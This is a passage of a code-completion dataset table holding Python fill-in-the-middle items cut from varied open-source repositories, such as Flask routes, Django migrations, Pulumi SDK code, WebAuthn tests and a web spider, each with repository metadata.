text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: aditi-goyal-523/learning_python path: /programs/entropy.py
import seqlib
import argparse
import sys
parser=argparse.ArgumentParser(description="Calculates and masks regions of low entropy")
parser.add_argument("--file", required=True, type = str, metavar = '<path>')
parser.add_argument("--window... | code_fim | medium | {
"lang": "python",
"repo": "aditi-goyal-523/learning_python",
"path": "/programs/entropy.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if arg.verbose:
sys.stderr.write(s)
sys.stderr.write("\n")
myfasta=seqlib.read_fasta(arg.file)
window=arg.window
for name, seq in myfasta:
seq=seq.upper()
i=0
while (i < (len(seq)-window+1)):
selection=seq[i:i+window]
e=seqlib.entropy(selection)
... | code_fim | medium | {
"lang": "python",
"repo": "aditi-goyal-523/learning_python",
"path": "/programs/entropy.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
for name, seq in myfasta:
seq=seq.upper()
i=0
while (i < (len(seq)-window+1)):
selection=seq[i:i+window]
e=seqlib.entropy(selection)
if e<arg.threshold:
status("entering modifications")
status(f"window:{selection} {e}")
status(f"cur... | code_fim | medium | {
"lang": "python",
"repo": "aditi-goyal-523/learning_python",
"path": "/programs/entropy.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: trentzhou/autolog path: /src/autolog/autolog.py
# -*- coding: utf-8 -*-
from .data_access import DataAccess
import datetime
import fetch_data
import logging
LOGGER = logging.getLogger('AutoLog')
class AutoLog(object):
def __init__(self, data_dir, baidu_token, city):
self.data_dir = ... | code_fim | hard | {
"lang": "python",
"repo": "trentzhou/autolog",
"path": "/src/autolog/autolog.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return self.data_access.read_log(date)
def put(self, msg):
today = datetime.date.today()
log = self.data_access.read_log(today)
if not log:
log = self._new_log()
log['logs'].append(msg)
LOGGER.debug(u"Appending msg {0}".format(msg))
... | code_fim | hard | {
"lang": "python",
"repo": "trentzhou/autolog",
"path": "/src/autolog/autolog.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> today = datetime.date.today()
log = self.data_access.read_log(today)
if not log:
log = self._new_log()
log['logs'].append(msg)
LOGGER.debug(u"Appending msg {0}".format(msg))
self.data_access.write_log(log)
def test():
logging.basicConfig(lev... | code_fim | hard | {
"lang": "python",
"repo": "trentzhou/autolog",
"path": "/src/autolog/autolog.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JinglinLi/oop_supermarket_simulation path: /project_visu/CustomerClass.py
"""
Customer Class including visualization.
"""
import random
import pandas as pd
import numpy as np
from a_star import find_path
from SupermarketMapClass import SupermarketMap
import constants
class Customer:
""" c... | code_fim | hard | {
"lang": "python",
"repo": "JinglinLi/oop_supermarket_simulation",
"path": "/project_visu/CustomerClass.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """calculate path between row,col before and after state transition."""
start_given = (self.row_before, self.col_before) # row, col before state transition
finish_given = (self.row_after, self.col_after) # row, col after state transition
# find_path based on a* algorithm
... | code_fim | hard | {
"lang": "python",
"repo": "JinglinLi/oop_supermarket_simulation",
"path": "/project_visu/CustomerClass.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.width = width
self.height = height
self.cars = []
def __str__(self):
buff = []
for y in range(self.height):
for x in range(self.width):
for car in self.cars:
if car.x == x and car.y == y:
... | code_fim | hard | {
"lang": "python",
"repo": "euribates/advent_of_code_2018",
"path": "/13/tools.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: euribates/advent_of_code_2018 path: /13/tools.py
#!/usr/bin/env python3
from PIL import Image
from PIL import ImageDraw
import itertools
from enum import Enum
alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY'
nums = '0123456789'
alphanums = alpha + nums
def get_names(first=alpha, ... | code_fim | hard | {
"lang": "python",
"repo": "euribates/advent_of_code_2018",
"path": "/13/tools.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def get_cars(self):
return sorted(self.cars, key=lambda c: (c.y, c.x))
class Car:
names = get_names()
class Orientation(Enum):
NORTH = 1
EAST = 2
SOUTH = 3
WEST = 4
def __init__(self, x, y, char):
self.name = next(Car.names)
sel... | code_fim | hard | {
"lang": "python",
"repo": "euribates/advent_of_code_2018",
"path": "/13/tools.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> user_id = get_jwt_user().uid
data = 'hello'
if 'user_id' in data:
raise BadRequestError("Invalid Request.user_id is not allowed in request")
data['user_id'] = user_id
result,statusCode = self._businesses.post(data)
return self._form_response(resu... | code_fim | hard | {
"lang": "python",
"repo": "gitvipin/flask_reviews",
"path": "/src/api/v1/routes.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> @jwt_registered
def create_business(self):
user_id = get_jwt_user().uid
data = 'hello'
if 'user_id' in data:
raise BadRequestError("Invalid Request.user_id is not allowed in request")
data['user_id'] = user_id
result,statusCode = self._businesses... | code_fim | hard | {
"lang": "python",
"repo": "gitvipin/flask_reviews",
"path": "/src/api/v1/routes.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gitvipin/flask_reviews path: /src/api/v1/routes.py
'''
This module has implementation of top level routes for all the
fron-end facing APIs.
All the routes have been kept here at one place, so as it is easy to
maintain these and also easier to put validation, whitelisting etc
at this one common p... | code_fim | hard | {
"lang": "python",
"repo": "gitvipin/flask_reviews",
"path": "/src/api/v1/routes.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> if refinfo != None:
if ',' in refinfo:
f,v=[x.strip() for x in refinfo.split(',')[0:2]]
else:
f=refinfo.strip()
v=None
refinfo=(f,v)
else:
refinfo=(None,None)
if smode and (use_month_dim == False):
... | code_fim | hard | {
"lang": "python",
"repo": "lukasbaumbach/lpjguesstools",
"path": "/lpjguesstools/lgt_convert/cli.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>def cli(avg, config, default, last_nyears, use_month_dim, refinfo, smode, storeconfig, years, indir, outname, verbose):
"""LPJ-GUESS 4.0 subpixel mode netCDF convert tool
This tools nonverts default and subpixel mode output from
LPJ-GUESS 4.0 .out (or gzipped .out.gz) files and creates
... | code_fim | hard | {
"lang": "python",
"repo": "lukasbaumbach/lpjguesstools",
"path": "/lpjguesstools/lgt_convert/cli.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lukasbaumbach/lpjguesstools path: /lpjguesstools/lgt_convert/cli.py
# -*- coding: utf-8 -*-
"""lgt_createinput.cli: Commandline interpreter for lgt_createinput.py."""
import click
import logging
from .main import main
# import constants
from .. import EPILOG
log = logging.getLogger(__name__)... | code_fim | hard | {
"lang": "python",
"repo": "lukasbaumbach/lpjguesstools",
"path": "/lpjguesstools/lgt_convert/cli.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ui/django-post_office path: /post_office/template/backends/post_office.py
from django.conf import settings
from django.core.mail import EmailMultiAlternatives
from django.template import TemplateDoesNotExist
from django.template.backends.base import BaseEngine
from django.template.backends.django... | code_fim | hard | {
"lang": "python",
"repo": "ui/django-post_office",
"path": "/post_office/template/backends/post_office.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def from_string(self, template_code):
return Template(self.engine.from_string(template_code), self)
def get_template(self, template_name):
try:
template = self.engine.get_template(template_name)
return Template(template, self)
except TemplateDoesNot... | code_fim | hard | {
"lang": "python",
"repo": "ui/django-post_office",
"path": "/post_office/template/backends/post_office.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: voith/populus path: /tests/compilation/test_solc_standard_json_backend.py
import os
import pytest
from solc.main import (
solc_supports_standard_json_interface,
)
from populus import ASSETS_DIR
from populus.compilation import (
compile_project_contracts,
)
from populus.utils.testing ... | code_fim | hard | {
"lang": "python",
"repo": "voith/populus",
"path": "/tests/compilation/test_solc_standard_json_backend.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@load_contract_fixture('RemapImported.sol', 'another-directory/contracts/RemapImported.sol')
@load_contract_fixture('ImportRemappingTestA.sol')
@update_project_config(
(
'compilation.import_remappings',
['import-path-for-A=another-directory/contracts'],
),
(
'compilati... | code_fim | hard | {
"lang": "python",
"repo": "voith/populus",
"path": "/tests/compilation/test_solc_standard_json_backend.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
get specific id celery task status
"""
task = run_ctx_request.AsyncResult(id)
if task.state == states.PENDING:
abort(404)
if task.state == states.RECEIVED or task.state == states.STARTED:
return '', 202, {'Location': url_for('api.get_status', id=id)}
return ... | code_fim | medium | {
"lang": "python",
"repo": "DECKHANDANT5277/hacks",
"path": "/examples/hacksbasic/blueprints/api_controllers/status.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: DECKHANDANT5277/hacks path: /examples/hacksbasic/blueprints/api_controllers/status.py
# coding: utf-8
from . import api
from tasks.run_ctx_request import run_ctx_request
from flask import abort, url_for
from celery import states
<|fim_suffix|> """
get specific id celery task status
... | code_fim | medium | {
"lang": "python",
"repo": "DECKHANDANT5277/hacks",
"path": "/examples/hacksbasic/blueprints/api_controllers/status.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ronaldoussoren/py2app path: /src/py2app/recipes/sphinx.py
import typing
from modulegraph.modulegraph import ModuleGraph
from .. import build_app
from ._types import RecipeInfo
<|fim_suffix|> m = mf.findNode("sphinx")
if m is None or m.filename is None:
return None
includes... | code_fim | medium | {
"lang": "python",
"repo": "ronaldoussoren/py2app",
"path": "/src/py2app/recipes/sphinx.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> includes = [
"sphinxcontrib.applehelp",
"sphinxcontrib.devhelp",
"sphinxcontrib.htmlhelp",
"sphinxcontrib.jsmath",
"sphinxcontrib.qthelp",
"sphinxcontrib.serializinghtml",
]
return {"includes": includes}<|fim_prefix|># repo: ronaldoussoren/py2ap... | code_fim | medium | {
"lang": "python",
"repo": "ronaldoussoren/py2app",
"path": "/src/py2app/recipes/sphinx.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: seleniumbase/SeleniumBase path: /examples/test_download_images.py
"""Use SeleniumBase to download images and verify."""
import os
from seleniumbase import BaseCase
BaseCase.main(__name__, __file__)
class DownloadImages(BaseCase):
def test_download_images_directly(self):
self... | code_fim | hard | {
"lang": "python",
"repo": "seleniumbase/SeleniumBase",
"path": "/examples/test_download_images.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if self.recorder_mode:
self.open("about:blank")
print("Skipping test in Recorder Mode.")
self.skip("Skipping test in Recorder Mode.")
self.open("seleniumbase.io/error_page/")
img_elements_with_src = self.find_elements("img[src]")
un... | code_fim | hard | {
"lang": "python",
"repo": "seleniumbase/SeleniumBase",
"path": "/examples/test_download_images.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return matx, maty
# def getUndkb(scale, undtype = 'helical', ux = None, uy = None, \
# tuning = None, kbxSF = None, kbySF = None):
#
# if (self.undtype == 'planepole'):
# self.kbxn = 0.
# kbyn = scale.aw / 2. / np.sqrt(2) / scale.rho / scale.gamma ... | code_fim | hard | {
"lang": "python",
"repo": "UKFELs/Puffin",
"path": "/utilities/setup/genInputs/undulator.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: UKFELs/Puffin path: /utilities/setup/genInputs/undulator.py
# Copyright (c) 2012-2018, University of Strathclyde
# Authors: Lawrence T. Campbell
# License: BSD-3-Clause
"""
This file is part of the example post-processing tools for Puffin, a
multi-frequency FEL code absent of the averaging / SV... | code_fim | hard | {
"lang": "python",
"repo": "UKFELs/Puffin",
"path": "/utilities/setup/genInputs/undulator.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|># def getUndkb(scale, undtype = 'helical', ux = None, uy = None, \
# tuning = None, kbxSF = None, kbySF = None):
#
# if (self.undtype == 'planepole'):
# self.kbxn = 0.
# kbyn = scale.aw / 2. / np.sqrt(2) / scale.rho / scale.gamma # 'natural' focusing wavenum... | code_fim | hard | {
"lang": "python",
"repo": "UKFELs/Puffin",
"path": "/utilities/setup/genInputs/undulator.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> Keyword arguments:
inputFile -- a csv file with "Example site,https://www.example.com" line format
"""
servers = []
with open('servers.csv', 'rb') as csvfile:
serverreader = csv.reader(csvfile, delimiter=',', quotechar='|')
for row in serverreader:
name, url... | code_fim | hard | {
"lang": "python",
"repo": "HTTPSWatchAU/Easteregg",
"path": "/runjobs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
from multiprocessing import Pool
if not os.path.exists(outdir):
os.makedirs(outdir)
# Load server names
servers = loadServerList()
# Run the assessment in parallel
p = Pool(8)
p.map(getServerAssessment, servers)
p.close()
p.join()<|... | code_fim | hard | {
"lang": "python",
"repo": "HTTPSWatchAU/Easteregg",
"path": "/runjobs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: HTTPSWatchAU/Easteregg path: /runjobs.py
#!/usr/bin/env python2
import argparse
import ConfigParser
from datetime import datetime, timedelta
import csv
import gzip
import os
import pytz
import simplejson as json
import subprocess
import sys
from urlparse import urlparse
# Command line arguments... | code_fim | hard | {
"lang": "python",
"repo": "HTTPSWatchAU/Easteregg",
"path": "/runjobs.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> @property
@pulumi.getter(name="numOfApps")
def num_of_apps(self) -> pulumi.Output[int]:
return pulumi.get(self, "num_of_apps")
@property
@pulumi.getter(name="offlineWipeTimeout")
def offline_wipe_timeout(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self... | code_fim | hard | {
"lang": "python",
"repo": "MisinformedDNA/pulumi-azure-native",
"path": "/sdk/python/pulumi_azure_native/intune/io_mam_policy_by_name.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: MisinformedDNA/pulumi-azure-native path: /sdk/python/pulumi_azure_native/intune/io_mam_policy_by_name.py
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import ... | code_fim | hard | {
"lang": "python",
"repo": "MisinformedDNA/pulumi-azure-native",
"path": "/sdk/python/pulumi_azure_native/intune/io_mam_policy_by_name.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wheezardth/6hours path: /classes.py
# classes define custom data types that represent more complex structures
# Default python naming convention: email_client_handler
# Pascal naming convention: EmailClientHandler
# classes in python are named using the Pascal naming convention
# classes are def... | code_fim | medium | {
"lang": "python",
"repo": "wheezardth/6hours",
"path": "/classes.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> def move(self): #methods
print("move")
def draw(self):
print("draw")
# Point() # this creates a new object
point1 = Point() # we now store this in a variable
point1.x = 10 # attributes do not need to be declared in advance in the class definit... | code_fim | medium | {
"lang": "python",
"repo": "wheezardth/6hours",
"path": "/classes.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Default routine called after each iteration
"""
L = self.level
stats.add_to_stats(step=status.step, time=status.time, iter=status.iter, type='residual',
value=L.status.residual)
pass
def dump_step(self,status):
""... | code_fim | hard | {
"lang": "python",
"repo": "lelou6666/pySDC",
"path": "/pySDC/Hooks.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lelou6666/pySDC path: /pySDC/Hooks.py
from pySDC.Level import level
import logging
import time
from pySDC.Stats import stats
class hooks(object):
__slots__ = ('__level','t0')
def __init__(self):
"""
Initialization routine
"""
self.__level = None
... | code_fim | hard | {
"lang": "python",
"repo": "lelou6666/pySDC",
"path": "/pySDC/Hooks.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
if __name__ == "__main__":
app.run(debug=True)<|fim_prefix|># repo: lachmanfrantisek/dashboard path: /packit_dashboard/app.py
from flask import Flask
from packit_dashboard.home.routes import home
from packit_dashboard.api.routes import api
<|fim_middle|>app = Flask(
"Packit Service Dashboard",
... | code_fim | hard | {
"lang": "python",
"repo": "lachmanfrantisek/dashboard",
"path": "/packit_dashboard/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lachmanfrantisek/dashboard path: /packit_dashboard/app.py
from flask import Flask
from packit_dashboard.home.routes import home
from packit_dashboard.api.routes import api
<|fim_suffix|>if __name__ == "__main__":
app.run(debug=True)<|fim_middle|>app = Flask(
"Packit Service Dashboard",
... | code_fim | hard | {
"lang": "python",
"repo": "lachmanfrantisek/dashboard",
"path": "/packit_dashboard/app.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: chicagopython/chipy.org path: /chipy_org/apps/sponsors/migrations/0006_sponsorgroup_featured_sponsor_weight.py
# Generated by Django 2.2.17 on 2021-01-21 18:44
from django.db import migrations, models
<|fim_suffix|>
dependencies = [
('sponsors', '0005_auto_20210111_2002'),
]
... | code_fim | easy | {
"lang": "python",
"repo": "chicagopython/chipy.org",
"path": "/chipy_org/apps/sponsors/migrations/0006_sponsorgroup_featured_sponsor_weight.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>class Migration(migrations.Migration):
dependencies = [
('sponsors', '0005_auto_20210111_2002'),
]
operations = [
migrations.AddField(
model_name='sponsorgroup',
name='featured_sponsor_weight',
field=models.IntegerField(default=1),
... | code_fim | easy | {
"lang": "python",
"repo": "chicagopython/chipy.org",
"path": "/chipy_org/apps/sponsors/migrations/0006_sponsorgroup_featured_sponsor_weight.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
dependencies = [
('sponsors', '0005_auto_20210111_2002'),
]
operations = [
migrations.AddField(
model_name='sponsorgroup',
name='featured_sponsor_weight',
field=models.IntegerField(default=1),
),
]<|fim_prefix|># repo: chicagopy... | code_fim | easy | {
"lang": "python",
"repo": "chicagopython/chipy.org",
"path": "/chipy_org/apps/sponsors/migrations/0006_sponsorgroup_featured_sponsor_weight.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: good-data-foundation/data-api path: /data_loader/csv_data_loader.py
from typing import Dict
import pandas as pd
from data_loader import BaseDataLoader
<|fim_suffix|> """
get DataFrame from csv file path.
:param config
:return: DataFrame
"""
retur... | code_fim | hard | {
"lang": "python",
"repo": "good-data-foundation/data-api",
"path": "/data_loader/csv_data_loader.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
get DataFrame from csv file path.
:param config
:return: DataFrame
"""
return pd.read_csv(config['path'])<|fim_prefix|># repo: good-data-foundation/data-api path: /data_loader/csv_data_loader.py
from typing import Dict
import pandas as pd
from data_lo... | code_fim | hard | {
"lang": "python",
"repo": "good-data-foundation/data-api",
"path": "/data_loader/csv_data_loader.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def test_get_radius():
with session_scope():
ecf = EventFactory()
fcc = FeedCtrlConnection()
new_event = ecf.next_event('MASTER/MASTER', {})
fcc.add_event(new_event)
last_event = ecf.next_event('MASTER/Radius', {'radius': 5})
fcc.add_event(last_event)
... | code_fim | hard | {
"lang": "python",
"repo": "cn-uofbasel/BACnet",
"path": "/20-fs-ias-lec/groups/07-logStore/src/tests/test_feed_ctrl_connection.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cn-uofbasel/BACnet path: /20-fs-ias-lec/groups/07-logStore/src/tests/test_feed_ctrl_connection.py
trust_id4 = generate_random_feed_id()
new_event = ecf.next_event('MASTER/NewFeed', {'feed_id': trust_id4, 'app_name': 'TestApp'})
fcc.add_event(new_event)
new_event = ecf.ne... | code_fim | hard | {
"lang": "python",
"repo": "cn-uofbasel/BACnet",
"path": "/20-fs-ias-lec/groups/07-logStore/src/tests/test_feed_ctrl_connection.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: IlyaGusev/DIHT path: /DIHT/apps/accounts/urls.py
# -*- coding: utf-8 -*-
"""
Авторы: Гусев Илья
Дата создания: 22/07/2015
Версия Python: 3.4
Версия Django: 1.8.5
Описание:
URL resolver модуля accounts.
"""
from django.conf.urls import url, include
from django.views.gen... | code_fim | hard | {
"lang": "python",
"repo": "IlyaGusev/DIHT",
"path": "/DIHT/apps/accounts/urls.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> url(r'^change_password/(?P<pk>[0-9]*)/$', ChangePasswordView.as_view(), name='change_password'),
url(r'^change_pass_id/(?P<pk>[0-9]*)/$', ChangePassIdView.as_view(), name='change_pass_id'),
url(r'^activate/(?P<pk>[0-9]*)/$', ActivateView.as_view(), name='activate'),
url(r'^money_history/$'... | code_fim | hard | {
"lang": "python",
"repo": "IlyaGusev/DIHT",
"path": "/DIHT/apps/accounts/urls.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> url(r'^check_unique/$', CheckUniqueView.as_view(), name='check_unique'),
url(r'^avatar/change/(?P<pk>[0-9]*)/$', AvatarUpdateView.as_view(), name='change_avatar'),
url('', include('social.apps.django_app.urls', namespace='social')),
url(r'^yandex_money_form$', YandexMoneyFormView.as_view... | code_fim | hard | {
"lang": "python",
"repo": "IlyaGusev/DIHT",
"path": "/DIHT/apps/accounts/urls.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: KKhushhalR2405/Face-X path: /Face Reconstruction/Landmark Detection and 3D Face Reconstruction for Caricature using a Nonlinear Parametric Model/train.py
import cariface
from train_options import TrainOptions
if __name__ == '__main__':
opt = TrainOptions().parse()
model = cariface.CariF... | code_fim | hard | {
"lang": "python",
"repo": "KKhushhalR2405/Face-X",
"path": "/Face Reconstruction/Landmark Detection and 3D Face Reconstruction for Caricature using a Nonlinear Parametric Model/train.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>och, opt.save_model_path)
else:
model.load_test_data(opt.test_image_path, opt.test_landmark_path,
opt.test_lrecord_path, opt.test_vrecord_path, opt.num_workers)
model.load_model(opt.resnet34_lr, opt.mynet1_lr, opt.mynet2_lr, opt.use_premodel,
... | code_fim | hard | {
"lang": "python",
"repo": "KKhushhalR2405/Face-X",
"path": "/Face Reconstruction/Landmark Detection and 3D Face Reconstruction for Caricature using a Nonlinear Parametric Model/train.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Djandwich/disturbance path: /disturbance/migrations/0008_auto_20181001_0940.py
# -*- coding: utf-8 -*-
# Generated by Django 1.10.8 on 2018-10-01 01:40
from __future__ import unicode_literals
from django.db import migrations, models
<|fim_suffix|>
dependencies = [
#('disturbance', '... | code_fim | medium | {
"lang": "python",
"repo": "Djandwich/disturbance",
"path": "/disturbance/migrations/0008_auto_20181001_0940.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> dependencies = [
#('disturbance', '0005_auto_20180928_1423'),
('disturbance', '0007_auto_20180928_1423'),
]
operations = [
migrations.AlterField(
model_name='compliance',
name='customer_status',
field=models.CharField(choices=[('due'... | code_fim | medium | {
"lang": "python",
"repo": "Djandwich/disturbance",
"path": "/disturbance/migrations/0008_auto_20181001_0940.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|># Run test
preds_benign = sess.run(preds, feed_dict={
x_dist: dist_benign[train_split:],
x_purity: purity_benign[train_split:, :purity_count],
})
detect_benign = np.equal(preds_benign, 1)
false_positive = np.logical_and(detect_benign, correctness_benign[train_split:])
false_positive_num = np.count... | code_fim | medium | {
"lang": "python",
"repo": "Jding0/decision-boundaries",
"path": "/cifar10/classify_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>train_split = 100
# test_count = 100 - train_split
# Load weights
sess = tf.Session()
saver = tf.train.Saver()
saver.restore(sess, classifier_checkpoint)
# Run test
preds_benign = sess.run(preds, feed_dict={
x_dist: dist_benign[train_split:],
x_purity: purity_benign[train_split:, :purity_count],... | code_fim | hard | {
"lang": "python",
"repo": "Jding0/decision-boundaries",
"path": "/cifar10/classify_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Jding0/decision-boundaries path: /cifar10/classify_test.py
import numpy as np
import tensorflow as tf
import classify_common
dist_dims = 1000
purity_count = 3
# usage: python classify_test.py <modelname> <step> <adv_set> <classifier checkpoint>
num_classes = 10
import sys
modelname, step, adv_... | code_fim | hard | {
"lang": "python",
"repo": "Jding0/decision-boundaries",
"path": "/cifar10/classify_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> options = generate_registration_options(
rp_id="example.com",
rp_name="Example Co",
user_id="ABAV6QWPBEY9WOTOA1A4",
user_name="lee",
exclude_credentials=[
PublicKeyCredentialDescriptor(
id=b"1234567890"... | code_fim | hard | {
"lang": "python",
"repo": "duo-labs/py_webauthn",
"path": "/tests/test_options_to_json.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: duo-labs/py_webauthn path: /tests/test_options_to_json.py
import json
from unittest import TestCase
from webauthn.helpers.cose import COSEAlgorithmIdentifier
from webauthn.helpers.options_to_json import options_to_json
from webauthn.helpers.structs import (
AttestationConveyancePreference,
... | code_fim | hard | {
"lang": "python",
"repo": "duo-labs/py_webauthn",
"path": "/tests/test_options_to_json.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>nts='''
[console_scripts]
complex=complex.cli:cli
''',
)<|fim_prefix|># repo: PSPDFKit-labs/libdispatch path: /thirdparty/click/examples/complex/setup.py
from setuptools import setup
setup(
name='click-example-complex',
<|fim_middle|>version='1.0',
packages=['complex', 'c... | code_fim | medium | {
"lang": "python",
"repo": "PSPDFKit-labs/libdispatch",
"path": "/thirdparty/click/examples/complex/setup.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PSPDFKit-labs/libdispatch path: /thirdparty/click/examples/complex/setup.py
from setuptools import setup
setup(
name='click-example-complex',
<|fim_suffix|>kage_data=True,
install_requires=[
'Click',
],
entry_points='''
[console_scripts]
complex=comple... | code_fim | medium | {
"lang": "python",
"repo": "PSPDFKit-labs/libdispatch",
"path": "/thirdparty/click/examples/complex/setup.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sahansera/algo-src path: /problems/largest_contiguous_sum/test.py
from nose.tools import assert_equal
from run import find_sum
<|fim_suffix|>#Run Test
t = LargeContTest()
t.test(find_sum)<|fim_middle|>class LargeContTest(object):
def test(self,sol):
assert_equal(sol([1,2,-1,3,4,-1]),... | code_fim | hard | {
"lang": "python",
"repo": "sahansera/algo-src",
"path": "/problems/largest_contiguous_sum/test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>#Run Test
t = LargeContTest()
t.test(find_sum)<|fim_prefix|># repo: sahansera/algo-src path: /problems/largest_contiguous_sum/test.py
from nose.tools import assert_equal
from run import find_sum
class LargeContTest(object):
<|fim_middle|> def test(self,sol):
assert_equal(sol([1,2,-1,3,4,-1]),... | code_fim | hard | {
"lang": "python",
"repo": "sahansera/algo-src",
"path": "/problems/largest_contiguous_sum/test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 0x24bin/oh-my-rss path: /feed/spiders/week/fexweekly_spider.py
from feed.spiders.spider import Spider
class FexweeklySpider(Spider):
name = 'fexweekly'
<|fim_suffix|> Spider.__init__(self,
start_urls=[
'http://fex.baidu.com/weekly... | code_fim | hard | {
"lang": "python",
"repo": "0x24bin/oh-my-rss",
"path": "/feed/spiders/week/fexweekly_spider.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> Spider.__init__(self,
start_urls=[
'http://fex.baidu.com/weekly/',
],
index_xpath="//ul[@class='post-list']//a/@href",
